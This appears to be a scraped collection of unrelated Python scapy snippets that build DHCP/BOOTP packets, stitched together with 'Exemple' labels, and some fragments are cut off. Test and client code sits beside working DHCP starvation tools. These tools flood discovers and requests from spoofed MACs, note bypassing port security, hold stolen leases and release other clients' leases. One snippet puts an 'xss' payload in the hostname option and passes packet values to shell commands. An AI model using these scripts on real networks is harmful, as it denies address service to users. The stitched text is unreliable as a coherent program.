def setUp(self):
        self.worker = _worker()  # mock worker
        self.ap = AP(worker=self.worker,
                     ssl_ctx=SSL_Context(),
                     port_layer_cfg=None,
                     port_id=0,
                     mac="aa:bb:cc:dd:ee:ff",
                     ip="9.9.9.9",
                     port=5555,
                     radio_mac="aa:bb:cc:dd:ee:00",
                     wlc_ip="1.1.1.1",
                     gateway_ip="2.2.2.2")
        self.client = APClient(self.worker, "aa:aa:aa:aa:aa:aa", None, self.ap)
        self.client.state = ClientState.RUN
        self.env = _env()
        self.tx_conn = _Connection(
        )  # mock of a multiprocessing.Connection with 'send' and 'recv" methods
        self.rx_store = _Rx_store()

        self.offer_template = (
            Dot11(
                FCfield='to-DS',
                subtype=8,
                type='Data',
                ID=0,
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="ff:ff:ff:ff:ff:ff",
                addr3="ff:ff:ff:ff:ff:ff",
            ) / Dot11QoS() / LLC(dsap=170, ssap=170, ctrl=3) /  # aa, aa, 3
            SNAP(code=2048) /  # ethertype : ipv4
            IP(src="0.0.0.0", dst="42.42.42.42") / UDP(sport=67, dport=68) /
            BOOTP(chaddr=b'123456', xid=42, yiaddr='42.42.42.42') /
            DHCP(options=[("message-type", "offer"), ("server_id",
                                                      "1.2.3.4"), "end"]))

        self.ack_template = (
            Dot11(
                FCfield='to-DS',
                subtype=8,
                type='Data',
                ID=0,
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="ff:ff:ff:ff:ff:ff",
                addr3="ff:ff:ff:ff:ff:ff",
            ) / Dot11QoS() / LLC(dsap=170, ssap=170, ctrl=3) /  # aa, aa, 3
            SNAP(code=2048) /  # ethertype : ipv4
            IP(src="0.0.0.0", dst="42.42.42.42") / UDP(sport=67, dport=68) /
            BOOTP(chaddr=b'123456', xid=42, yiaddr='42.42.42.42') /
            DHCP(options=[("message-type", "ack"), "end"]))
Exemple #2
0
    def make_dhcp_request(self, my_ip_address, server_id, xid):
        """
        Creates a DHCPREQUEST packet using scapy

        Parameters
        ---------
        my_ip_address : str
            the IP address assigned by the DHCP Server
        server_id : str
            the DHCP Server Identification
        xid : str
            the DHCP Transaction id

        Returns
        -------
        Packet
            A scapy DHCPREQUEST Packet

        """

        ethernet = Ether(src=self.mac_address, dst="ff:ff:ff:ff:ff:ff")
        ip = IP(src="0.0.0.0", dst="255.255.255.255")
        udp = UDP(sport=68, dport=67)
        bootp = BOOTP(chaddr=self.mac_address_raw, xid=xid)
        dhcp = DHCP(options=[("message-type", "request"), ("server_id", server_id),
                             ("requested_addr", my_ip_address), ("hostname", self.hostname), "end"])

        dhcp_request = ethernet / ip / udp / bootp / dhcp
        return dhcp_request
Exemple #3
0
    def send_discover2(self):
        print ""
        print "Starting Endless Starvation, Press e to exit"
        print ""
        packet_number = 0
        while True:
            for i in range(255):
                if keyboard.is_pressed('e'):
                    print "\nEndless Starvation Ended." + str(packet_number) + " Discover Packets sent"
                    print "Close terminal to exit properly"
                    sys.exit()
                # Generate transaction id
                transaction_id = random.randint(1, 900000000)
                # Generate fake CHADDR
                spoofed_chaddr = str(RandMAC())
                while spoofed_chaddr in spoofed_chaddr_list:
                    print "Duplicate SPOOF CHADDR detected, generating a new one"
                    spoofed_chaddr = str(RandMAC())
                spoofed_chaddr_list.append(spoofed_chaddr)

                # Create discover packet, specifying source mac to bypass port security
                discover_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff")
                discover_packet /= IP(src="0.0.0.0", dst="255.255.255.255")
                discover_packet /= UDP(sport=68, dport=67)
                discover_packet /= BOOTP(chaddr=spoofed_chaddr, xid=transaction_id)
                discover_packet /= DHCP(options=[("message-type", "discover"), "end"])

                sendp(discover_packet, iface=interface, verbose=0)
                packet_number += 1
                sleep(0.01)
Exemple #4
0
    def packet_analyzer(self, packet):

        # Check for DHCP packet
        if DHCP in packet:

            # Check for Offer message
            if packet[DHCP].options[0][1] == 2:

                server_ip = packet[IP].src
                client_mac = packet[BOOTP].chaddr
                offered_ip = packet[BOOTP].yiaddr
                transaction_id = packet[BOOTP].xid

                # Create request packet, specifying source mac to bypass port security
                request_packet = Ether(src=source_mac,dst="ff:ff:ff:ff:ff:ff")
                request_packet /= IP(src="0.0.0.0", dst="255.255.255.255")
                request_packet /= UDP(sport=68, dport=67)
                request_packet /= BOOTP(chaddr=client_mac, xid=transaction_id)
                request_packet /= DHCP(options=[("message-type", "request"), ("server_id", server_ip), ("requested_addr", offered_ip), "end"])

                sendp(request_packet, iface=interface, verbose=0)

            # Check for ACK message
            elif packet[DHCP].options[0][1] == 5:
                client_mac = packet[BOOTP].chaddr
                leased_ip = packet[BOOTP].yiaddr
                leased_ip_list.append(leased_ip)
                print leased_ip + " has been leased to " + client_mac + ". Total IPs leased: " + str(len(leased_ip_list))

            # Check for NAK message
            elif packet[DHCP].options[0][1] == 6:
                print " NAK Received" 
Exemple #5
0
def main():
    """Send DHCP DISCOVER packet."""

    args = TrafficScriptArg(['tx_src_ip', 'tx_dst_ip'])

    tx_if = args.get_arg('tx_if')
    rx_if = args.get_arg('rx_if')

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)

    tx_src_ip = args.get_arg('tx_src_ip')
    tx_dst_ip = args.get_arg('tx_dst_ip')

    sent_packets = []

    dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff") / \
                    IP(src=tx_src_ip, dst=tx_dst_ip) / \
                    UDP(sport=UDP_SERVICES.bootpc, dport=UDP_SERVICES.bootps) / \
                    BOOTP(op=1,) / \
                    DHCP(options=[("message-type", "discover"),
                                  "end"])

    sent_packets.append(dhcp_discover)
    txq.send(dhcp_discover)

    for _ in range(10):
        dhcp_discover = rxq.recv(2)
        if is_discover(dhcp_discover):
            break
    else:
        raise RuntimeError("DHCP DISCOVER Rx timeout")

    sys.exit(0)
def discover_dhcp(_mac, _id):
    packet_discovery = Ether(src=local_mac, dst='ff:ff:ff:ff:ff:ff') / IP(
        src='0.0.0.0', dst='255.255.255.255') / UDP(
            sport=2001, dport=67) / BOOTP(
                chaddr=_mac.decode('hex'),
                xid=_id) / DHCP(options=[('message-type', 'discover'), 'end'])
    sendp(packet_discovery, verbose=False)
Exemple #7
0
 def _construct_dhcp_msg(self, options=None):
     return \
         Ether(src=self.mac, dst=B_MAC) \
         / CLIENT_IP_HEADER \
         / CLIENT_UDP_HEADER \
         / BOOTP(chaddr=self.chaddr, xid=self._xid) \
         / DHCP(options=options)
Exemple #8
0
    def send_dhcp_packet(self,
                         mac: MacAddress,
                         vlan: str,
                         state: DHCPState,
                         dhcp_desc: DHCPDescriptor = None):
        """
        Send DHCP packet and record state in dhcp_client_state.

        Args:
            mac: MAC address of interface
            state: state of DHCP packet
            dhcp_desc: DHCP protocol state.
        Returns:
        """
        ciaddr = None

        # generate DHCP request packet
        if state == DHCPState.DISCOVER:
            dhcp_opts = [("message-type", "discover")]
            dhcp_desc = DHCPDescriptor(mac=mac,
                                       ip="",
                                       vlan=vlan,
                                       state_requested=DHCPState.DISCOVER)
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
        elif state == DHCPState.REQUEST:
            dhcp_opts = [("message-type", "request"),
                         ("requested_addr", dhcp_desc.ip),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.REQUEST
            pkt_xid = dhcp_desc.xid
            ciaddr = dhcp_desc.ip
        elif state == DHCPState.RELEASE:
            dhcp_opts = [("message-type", "release"),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.RELEASE
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
            ciaddr = dhcp_desc.ip
        else:
            LOG.warning("Unknown egress request mac %s state %s", str(mac),
                        state)
            return

        dhcp_opts.append("end")
        dhcp_desc.xid = pkt_xid
        with self._dhcp_notify:
            self.dhcp_client_state[mac.as_redis_key(vlan)] = dhcp_desc

        pkt = Ether(src=str(mac), dst="ff:ff:ff:ff:ff:ff")
        if vlan and vlan != "0":
            pkt /= Dot1Q(vlan=int(vlan))
        pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
        pkt /= UDP(sport=68, dport=67)
        pkt /= BOOTP(op=1, chaddr=mac.as_hex(), xid=pkt_xid, ciaddr=ciaddr)
        pkt /= DHCP(options=dhcp_opts)
        LOG.debug("DHCP pkt xmit %s", pkt.show(dump=True))

        sendp(pkt, iface=self._dhcp_interface, verbose=0)
Exemple #9
0
def dhcp_request(tx_if, rx_if, tx_src_ip, tx_dst_ip, server_ip, proxy_ip,
                 client_ip, client_mac):
    """Send and check DHCP REQUEST proxy packet."""

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)

    sent_packets = []

    dhcp_request = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
                   IP(src=tx_src_ip, dst=tx_dst_ip) / \
                   UDP(sport=UDP_SERVICES.bootpc, dport=UDP_SERVICES.bootps) / \
                   BOOTP(op=1,
                         giaddr=proxy_ip,
                         siaddr=server_ip) / \
                   DHCP(options=[("message-type", "request"),
                                 ("server_id", server_ip),
                                 ("requested_addr", client_ip),
                                 "end"])

    sent_packets.append(dhcp_request)
    txq.send(dhcp_request)

    ether = rxq.recv(2)

    if ether is None:
        raise RuntimeError('DHCP REQUEST timeout')

    if ether[IP].dst != server_ip:
        raise RuntimeError("Destination IP address error.")
    print "Destination IP address: OK."

    if ether[IP].src != proxy_ip:
        raise RuntimeError("Source IP address error.")
    print "Source IP address: OK."

    if ether[UDP].dport != UDP_SERVICES.bootps:
        raise RuntimeError("UDP destination port error.")
    print "UDP destination port: OK."

    if ether[UDP].sport != UDP_SERVICES.bootpc:
        raise RuntimeError("UDP source port error.")
    print "UDP source port: OK."

    if ether[BOOTP].siaddr != server_ip:
        raise RuntimeError("DHCP server IP address error.")
    print "DHCP server IP address: OK."

    if ether[DHCP].options[2][1] != client_ip:
        raise RuntimeError("Requested IP address error.")
    print "Requested IP address: OK."

    if ether[DHCP].options[3][0] != 'relay_agent_Information':  # option 82
        raise RuntimeError("Relay agent information error.")

    if ether[DHCP].options[0][1] != 3:  # 2 - REQUEST message
        raise RuntimeError("DHCP REQUEST message error.")
    print "DHCP REQUEST message: OK."
def request_dhcp(_mac, _id):
    packet_request = Ether(src=local_mac, dst='ff:ff:ff:ff:ff:ff') / IP(
        src='0.0.0.0', dst='255.255.255.255') / UDP(
            sport=2001, dport=67) / BOOTP(
                chaddr=_mac.decode('hex'), xid=_id) / DHCP(
                    options=[('message-type',
                              'request'), ('requested_addr', ip_offered),
                             ('server_id', dhcp_option_54), 'end'])
    sendp(packet_request, verbose=False)
Exemple #11
0
 def generatePacketClient(self,type, mac):
     return (Ether(src=mac, dst="ff:ff:ff:ff:ff:ff") /
             IP(src="0.0.0.0", dst="255.255.255.255") /
             UDP(sport=68, dport=67) /
             BOOTP(chaddr=mac) /
             DHCP(options=[
                 ('message-type', type),
                 ("server_id", self.__GATEWAY_IP),
                 "end"]))
Exemple #12
0
 def release(self, serverIP, releaseIP, releaseMAC):
     releaseMACraw = mac2str(releaseMAC)
     dhcp_release = IP(dst=serverIP)
     dhcp_release /= UDP(sport=68, dport=67)
     dhcp_release /= BOOTP(chaddr=releaseMACraw, ciaddr=releaseIP, xid=random.randint(1, 900000000))
     dhcp_release /= DHCP(options=[('message-type', 'release'), ("server_id", serverIP), ('client-identifier', releaseMACraw), 'end'])
     send(dhcp_release, verbose=0)
     print releaseIP + " has been released"
     starve_menu()
def discovery_spoofing(interface, target):
    inface = ''
    targ = ''
    if len(interface) == 0:
        inface = conf.iface
    else:
        inface = interface
    if len(target) == 0:
        targ = '255.255.255.255'
    else:
        targ = target

    real_mac = get_if_hwaddr(conf.iface)
    src_client_ip = '0.0.0.0'
    port_client = 68
    port_dhcp = 67
    yiaddr_client = "0.0.0.0"
    broadcast_mac = "ff:ff:ff:ff:ff:ff"

    while True:
        client_mac = RandMAC()
        transaction_ID = random.randint(0, (2**16) - 1)
        # send discovery
        discovery = Ether(src=real_mac, dst=broadcast_mac) \
                    / IP(src=src_client_ip, dst=targ) \
                    / UDP(sport=port_client, dport=port_dhcp) \
                    / BOOTP(chaddr=[mac2str(client_mac)], xid=transaction_ID, flags=0xFFFFFF) \
                    / DHCP(
            options=[("message-type", "discover"), ('max_dhcp_size', 1500), ("client_id,", mac2str(client_mac)),
                     ('requested_addr', yiaddr_client), ('lease_time', 10000), ('end', 0)])
        sendp(discovery, iface=inface)

        # send request

        offer = '192.168.56.'
        offer = offer + str(random.randint(100, 150))
        request = Ether(src=real_mac, dst=broadcast_mac) \
                  / IP(src=src_client_ip, dst=targ) \
                  / UDP(sport=port_client, dport=port_dhcp) \
                  / BOOTP(chaddr=[mac2str(client_mac)], xid=transaction_ID, flags=0xFFFFFF) \
                  / DHCP(
            options=[("message-type", "request"), ('max_dhcp_size', 1500), ("client_id,", mac2str(client_mac)),
                     ('requested_addr', offer), ('lease_time', 10000), ('end', 0), ])
        sendp(request, iface=inface)
Exemple #14
0
def dhcp_offer(rx_if, tx_if, tx_dst_ip, server_ip, proxy_ip, client_ip,
               server_mac, option_82):
    """Send and check DHCP OFFER proxy packet."""

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)

    sent_packets = []

    dhcp_offer = Ether(src=server_mac, dst="ff:ff:ff:ff:ff:ff") / \
                 IP(src=server_ip, dst=tx_dst_ip) / \
                 UDP(sport=UDP_SERVICES.bootps, dport=UDP_SERVICES.bootpc) / \
                 BOOTP(op=2,
                       yiaddr=client_ip,
                       siaddr=server_ip) / \
                 DHCP(options=
                      [("message-type", "offer"),
                       ("server_id", server_ip),
                       ("relay_agent_Information", option_82),
                       "end"])

    txq.send(dhcp_offer)
    sent_packets.append(dhcp_offer)

    ether = rxq.recv(2)

    if ether is None:
        raise RuntimeError('DHCP OFFER timeout')

    if ether[IP].dst != tx_dst_ip:
        raise RuntimeError("Destination IP address error.")
    print "Destination IP address: OK."

    if ether[IP].src != proxy_ip:
        raise RuntimeError("Source IP address error.")
    print "Source IP address: OK."

    if ether[UDP].dport != UDP_SERVICES.bootpc:
        raise RuntimeError("UDP destination port error.")
    print "UDP destination port: OK."

    if ether[UDP].sport != UDP_SERVICES.bootps:
        raise RuntimeError("UDP source port error.")
    print "UDP source port: OK."

    if ether[BOOTP].yiaddr != client_ip:
        raise RuntimeError("Client IP address error.")
    print "Client IP address: OK."

    if ether[BOOTP].siaddr != server_ip:
        raise RuntimeError("DHCP server IP address error.")
    print "DHCP server IP address: OK."

    if ether[DHCP].options[0][1] != 2:  # 2 - OFFER message
        raise RuntimeError("DHCP OFFER message error.")
    print "DHCP OFFER message OK."
Exemple #15
0
def build_msg(opts):
    conf.checkIPaddr = False
    msg_flag = 0
    import sys
    if sys.platform != "darwin":
        fam, hw = get_if_raw_hwaddr(str(world.cfg["iface"]))
    else:
        # TODO fix this for MAC OS, this is temporary quick fix just for my local system
        hw = convert_MAC("0a:00:27:00:00:00")
    tmp_hw = None

    # we need to choose if we want to use chaddr, or client id.
    # also we can include both: client_id and chaddr
    if world.cfg["values"]["chaddr"] is None or world.cfg["values"][
            "chaddr"] == "default":
        tmp_hw = hw
    elif world.cfg["values"]["chaddr"] == "empty":
        tmp_hw = convert_MAC("00:00:00:00:00:00")
    else:
        tmp_hw = convert_MAC(world.cfg["values"]["chaddr"])

    if world.cfg["values"]["broadcastBit"]:
        # value for setting 1000 0000 0000 0000 in bootp message in field 'flags' for broadcast msg.
        msg_flag = 32768
    else:
        msg_flag = 0

    msg = Ether(dst="ff:ff:ff:ff:ff:ff", src=hw)
    msg /= IP(
        src=world.cfg["source_IP"],
        dst=world.cfg["destination_IP"],
    )
    msg /= UDP(sport=world.cfg["source_port"],
               dport=world.cfg["destination_port"])
    msg /= BOOTP(chaddr=tmp_hw,
                 giaddr=world.cfg["values"]["giaddr"],
                 flags=msg_flag,
                 hops=world.cfg["values"]["hops"])

    # BOOTP requests can be optionless
    if len(opts) > 0:
        opts += ["end"]  # end option
        msg /= DHCP(options=opts)

    #transaction id
    if world.cfg["values"]["tr_id"] is None:
        msg.xid = randint(0, 256 * 256 * 256)
    else:
        msg.xid = int(world.cfg["values"]["tr_id"])
    world.cfg["values"]["tr_id"] = msg.xid

    msg.siaddr = world.cfg["values"]["siaddr"]
    msg.ciaddr = world.cfg["values"]["ciaddr"]
    msg.yiaddr = world.cfg["values"]["yiaddr"]
    msg.htype = world.cfg["values"]["htype"]
    return msg
Exemple #16
0
    def gen_bootp_unicast(self):
        """Generates BOOTP layer part of unicast DHCP packet.

        Same comments as in gen_bootp

        """
        bootp = (BOOTP(chaddr=[mac2str(self.client_mac)],
                       xid=self.xid,
                       ciaddr=self.client_ip))
        return bootp
Exemple #17
0
 def gen_udp_bootp(self):
     udp_bootp = (
         UDP(sport=self.client_port, dport=self.server_port) /
         # MAY
         # BOOTP(chaddr=[self.client_mac], xid=self.client_xid) /
         # 3.4. The presence of  "Client hardware address" (chaddr)
         # is necessary for the proper operation of the DHCP service.
         BOOTP(chaddr=[mac2str(self.client_mac)])
     )
     return udp_bootp
def build_discover(local_mac_addr, trans_id, hostname):
    """
    build a DHCP discover packet
    :param local_mac_addr: the mac address
    :param trans_id: the transaction IDx
    :param hostname: the host name
    :return: scapy DHCP discover packet
    """
    return Ether(src=local_mac_addr, dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") \
           / UDP(sport=68, dport=67) / BOOTP(chaddr=str_2_mac(local_mac_addr), xid=trans_id) \
           / DHCP(options=[("message-type", "discover"), ("hostname", hostname), "end"])
 def _release (self, pipe):
     '''
         Release the DHCP lease
     '''
     self.log('DHCP: {0} ---> RELEASING'.format(self.mac))
     
     yield pipe.async_tx_pkt(Ether(dst=self.record.server_mac)/IP(src=self.record.client_ip,dst=self.record.server_ip)/UDP(sport=68,dport=67) \
                             /BOOTP(ciaddr=self.record.client_ip,chaddr=self.mac_bytes,xid=self.xid) \
                             /DHCP(options=[("message-type","release"),("server_id",self.record.server_ip), "end"]))
     
     self.record = None
def send_dhcp_discover(mac):
    dst_mac = "ff:ff:ff:ff:ff:ff"  # Broadcast address
    fake_mac = mac
    options = [("message-type", "discover"), ("max_dhcp_size", 1500),
               ("client_id", fake_mac), ("lease_time", 10000), ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_request = (
        Ether(src=src_mac, dst=dst_mac) / IP(src="0.0.0.0", dst=target) /
        UDP(sport=68, dport=67) /
        BOOTP(chaddr=[fake_mac], xid=transaction_id, flags=0xFFFFFFFF) /
        DHCP(options=options))
    sendp(dhcp_request, iface=iface, verbose=False)
Exemple #21
0
def is_DHCP(pkt):
    global src_mac
    global xi
    global follow
    global inter

    if DHCP in pkt:
        if pkt[BOOTP].op == 2:

            ethernet = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac, type=0x800)
            ip = IP(src="0.0.0.0", dst="255.255.255.255", id=0x00, tos=0x10)
            udp = UDP(sport=68, dport=67)
            res = src_mac.split(":")
            ch = ""
            for i in res:
                ch = ch + chr(int(i, 16))
            host = xss
            bootps = BOOTP(xid=int(xi, 16), ciaddr='0.0.0.0', chaddr=ch)
            ipServer = pkt[IP].src
            ipCliente = pkt[BOOTP].yiaddr

            dhcps = DHCP(
                options=[("message-type", "request"), (
                    "server_id", ipServer), ("requested_addr",
                                             ipCliente), ("hostname", host),
                         ("param_req_list",
                          chr(scapy.all.DHCPRevOptions["subnet_mask"][0]),
                          chr(scapy.all.DHCPRevOptions["router"][0]),
                          chr(scapy.all.DHCPRevOptions["name_server"][0]),
                          chr(15)), "end"])
            packet = ethernet / ip / udp / bootps / dhcps
            pkt = srp1(packet, iface=inter, verbose=1)
            if DHCP in pkt:
                print pkt.summary()
                for x in pkt[DHCP].options:
                    if x[0] == "router":
                        gateway = x[1]
                    elif x[0] == "subnet_mask":
                        netmask = x[1]
                    elif x[0] == "name_server":
                        servername = x[1]
                    elif x[0] == "message-type":
                        messageType = x[1]
                if messageType == 5:
                    os.system("ifconfig " + inter + " " + ipCliente +
                              " netmask " + netmask)
                    os.system("cp /etc/resolv.conf /etc/resolv.conf.old")
                    os.system("echo nameserver " + servername +
                              " > /etc/resolv.conf")
                    os.system("ip route add default via " + gateway + " dev " +
                              inter)
            follow = True
def build_request(mac_addr, target, req_ip, hostname, trans_id):
    """
    build a DHCP request packet
    :param mac_addr: the mac address
    :param target: the target server's ip which we are going to attack. (this is the dst ip)
    :param req_ip: the requested IP
    :param hostname: the host name
    :param trans_id: the transaction ID
    :return: scapy DHCP request packet
    """
    return Ether(src=str(mac_addr), dst="ff:ff:ff:ff:ff:ff") / IP(src="0.0.0.0", dst="255.255.255.255") \
           / UDP(sport=68, dport=67) / BOOTP(chaddr=str_2_mac(mac_addr), xid=trans_id) \
           / DHCP(options=[("message-type", "request"), ("server_id", target), ("requested_addr", req_ip),
                           ("hostname", hostname), ("param_req_list", 0), "end"])
Exemple #23
0
def dhcpRequest(dhcp_offer, src_mac_random, interface):
    transaction_id = dhcp_offer[0][BOOTP].xid
    server_id = dhcp_offer[0][DHCP].options[1][1]
    requested_addr = dhcp_offer[0][BOOTP].yiaddr
    print(requested_addr)
    options = [("message-type", "request"), ("server_id", server_id),
               ("requested_addr", requested_addr), ("end", "0")]
    dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                   / IP(src='0.0.0.0', dst='255.255.255.255') \
                   / UDP(sport=68, dport=67) \
                   / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id) \
                   / DHCP(options=options)
    sendp(dhcp_request, iface=interface)
    return requested_addr
Exemple #24
0
def dhcp_discover(tx_if, rx_if, tx_src_ip, tx_dst_ip, server_ip, proxy_ip,
                  client_mac):
    """Send and check DHCP DISCOVER proxy packet."""

    rxq = RxQueue(rx_if)
    txq = TxQueue(tx_if)

    sent_packets = []

    dhcp_discover = Ether(src=client_mac, dst="ff:ff:ff:ff:ff:ff") / \
                    IP(src=tx_src_ip, dst=tx_dst_ip) / \
                    UDP(sport=UDP_SERVICES.bootpc, dport=UDP_SERVICES.bootps) / \
                    BOOTP(op=1,) / \
                    DHCP(options=[("message-type", "discover"),
                                  "end"])

    sent_packets.append(dhcp_discover)
    txq.send(dhcp_discover)

    ether = rxq.recv(2)

    if ether is None:
        raise RuntimeError('DHCP DISCOVER timeout')

    if ether[IP].src != proxy_ip:
        raise RuntimeError("Source IP address error.")
    print "Source IP address: OK."

    if ether[IP].dst != server_ip:
        raise RuntimeError("Destination IP address error.")
    print "Destination IP address: OK."

    if ether[UDP].dport != UDP_SERVICES.bootps:
        raise RuntimeError("UDP destination port error.")
    print "UDP destination port: OK."

    if ether[UDP].sport != UDP_SERVICES.bootpc:
        raise RuntimeError("UDP source port error.")
    print "UDP source port: OK."

    if ether[DHCP].options[1][0] != 'relay_agent_Information':  # option 82
        raise RuntimeError("Relay agent information error.")
    option_82 = ether[DHCP].options[1][1]

    if ether[DHCP].options[0][1] != 1:  # 1 - DISCOVER message
        raise RuntimeError("DHCP DISCOVER message error.")
    print "DHCP DISCOVER message OK."

    return option_82
Exemple #25
0
def persistant(mac_and_ip, dhcp_server_ip, interface):
    while (True):
        for i in mac_and_ip:
            transaction_id = random.randint(1, 900000000)
            server_id = dhcp_server_ip
            requested_addr = i[0]
            options = [("message-type", "request"), ("server_id", server_id),
                       ("requested_addr", requested_addr), ("end", "0")]
            dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=i[1]) \
                           / IP(src=requested_addr, dst='255.255.255.255') \
                           / UDP(sport=68, dport=67) \
                           / BOOTP(chaddr=[mac2str(i[1])], xid=transaction_id) \
                           / DHCP(options=options)
            sendp(dhcp_request, iface=interface)
        sleep(120)
Exemple #26
0
def dhcpDiscover(src_mac_random, dhcp_server_ip, interface):
    options = [("message-type", "discover"), ("max_dhcp_size", 1500),
               ("client_id", mac2str(src_mac_random)), ("lease_time", 10000),
               ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_discover = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                    / IP(src='0.0.0.0', dst=dhcp_server_ip) \
                    / UDP(sport=68, dport=67) \
                    / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id, flags=0xffffff) \
                    / DHCP(options=options)
    sendp(dhcp_discover, iface=interface)
    dhcp_offer = sniff(
        count=1,
        lfilter=lambda p: BOOTP in p and p[BOOTP].xid == transaction_id)
    return dhcp_offer
def send_dhcp_renew_address(info):
    dst_mac = info['srv_mac']  # Broadcast address
    fake_mac = info['fake_mac']
    options = [("message-type", "request"), ("max_dhcp_size", 1500),
               ("client_id", fake_mac), ("lease_time", 10000),
               ("server_id", info['srv_id']), ("end", "0")]
    transaction_id = random.randint(1, 900000000)
    dhcp_request = (Ether(src=src_mac, dst=dst_mac) /
                    IP(src=info['taken_ip'], dst=info['srv_ip']) /
                    UDP(sport=68, dport=67) / BOOTP(chaddr=[fake_mac],
                                                    ciaddr=info['taken_ip'],
                                                    xid=transaction_id,
                                                    flags=0x0) /
                    DHCP(options=options))
    sendp(dhcp_request, iface=iface, verbose=False)
Exemple #28
0
    def gen_bootp(self):
        """Generates BOOTP layer part of DHCP packet.

        [ :rfc:`7844#section-3.4` ] ::

            The presence of this address is necessary for the proper operation
            of the DHCP service.

        [:rfc:`7844#section-3.`] ::

            MAY contain the Client Identifier option,

        """
        bootp = (BOOTP(chaddr=[mac2str(self.client_mac)], xid=self.xid))
        return bootp
Exemple #29
0
    def __init__ (self):
        base_pkt = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67,chksum=0) \
                         /BOOTP(chaddr=b'123456',xid=55555,yiaddr='1.2.3.4')/DHCP(options=[("message-type","discover"), ("server_id", '1.2.3.4'),"end"])

        FastParser.__init__(self, base_pkt)

        self.add_field('Ethernet.dst', 'dstmac')
        self.add_field('Ethernet.src', 'srcmac')
        
        self.add_field('IP.ihl',      'ihl', fmt = "!B")
        self.add_field('IP.dst',      'dstip')
        self.add_field('IP.src',      'srcip')
        self.add_field('IP.chksum',   'chksum')
        
        self.add_field('BOOTP.xid', 'xid')
        self.add_field('BOOTP.chaddr', 'chaddr')
        self.add_field('BOOTP.ciaddr', 'ciaddr')
        self.add_field('BOOTP.yiaddr', 'yiaddr')
        self.add_field('DHCP options.options', 'options', getter = self.get_options, setter = self.set_options)

        msg_types = [{'id': 1, 'name': 'discover'},
                     {'id': 2, 'name': 'offer'},
                     {'id': 3, 'name': 'request'},
                    ]
        
        
        self.msg_types = {}
        
        for t in msg_types:
            self.msg_types[t['id']]   = t
            self.msg_types[t['name']] = t
            
        
        opts = [{'id': 53, 'name': 'message-type',   'type': 'byte'},
                {'id': 54, 'name': 'server_id',      'type': 'int'},
                {'id': 50, 'name': 'requested_addr', 'type': 'int'},
                {'id': 51, 'name': 'lease-time',     'type': 'int'},
                {'id': 58, 'name': 'renewal_time',   'type': 'int'},
                {'id': 59, 'name': 'rebinding_time', 'type': 'int'},
                {'id': 1,  'name': 'subnet_mask',    'type': 'int'},
                {'id': 15, 'name': 'domain',         'type': 'str'},
               ]
        
        self.opts = {}
        
        for opt in opts:
            self.opts[opt['id']]    = opt
            self.opts[opt['name']]  = opt
Exemple #30
0
    def make_dhcp_discover(self):
        """
        Creates a DHCPDISCOVER packet using scapy

        Returns
        -------
        Packet
            A scapy DHCPDISCOVER Packet

        """
        ethernet = Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff')
        ip = IP(src='0.0.0.0', dst='255.255.255.255')
        udp = UDP(dport=67, sport=68)
        bootp = BOOTP(chaddr=self.mac_address_raw, xid=RandInt())
        dhcp = DHCP(options=[('message-type', 'discover'), ("hostname", self.hostname), 'end'])
        dhcp_discover_pkt = ethernet / ip / udp / bootp / dhcp
        return dhcp_discover_pkt